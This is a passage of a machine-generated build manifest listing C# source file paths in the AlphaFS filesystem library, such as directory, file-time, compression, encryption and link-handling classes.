Time\\Directory.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjectsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectoryTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfosTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParent.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParentTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetProperties.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetPropertiesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.HasInheritedPermissions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmpty.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmptyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\AlreadyExistsException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DeviceNotReadyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryNotEmptyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\FileReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\InvalidTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotAReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotSameDeviceException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionalConflictException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyAbortedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyCommittedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnrecognizedReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnsupportedRemoteTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.RestartMoveOrThrowException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.ValidateFileOrDirectoryMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.VerifyDelayUntilReboot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.AppendTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyTimestampsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileStreamCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateHardlinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateSymbolicLinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.DeleteFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EncryptDecryptFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateAlternateDataStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateHardLinksCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ExistsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.FindAllStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAttributesExCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetChangeTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCompressedSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCreationTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetEncryptionStatusCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileIdInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileInfoByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileSystemEntryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetHashCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastAccessTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastWriteTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLinkTargetInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetProcessForFileLockCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ImportExportEncryptedFileDirectoryRawCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.IsLockedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.OpenCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReplaceCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAttributesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetFsoDateTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAppendAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ExportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.GetEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ImportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinks.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinksTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AttributeLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.FindFirstStreamNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHashTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLock.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLockTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File 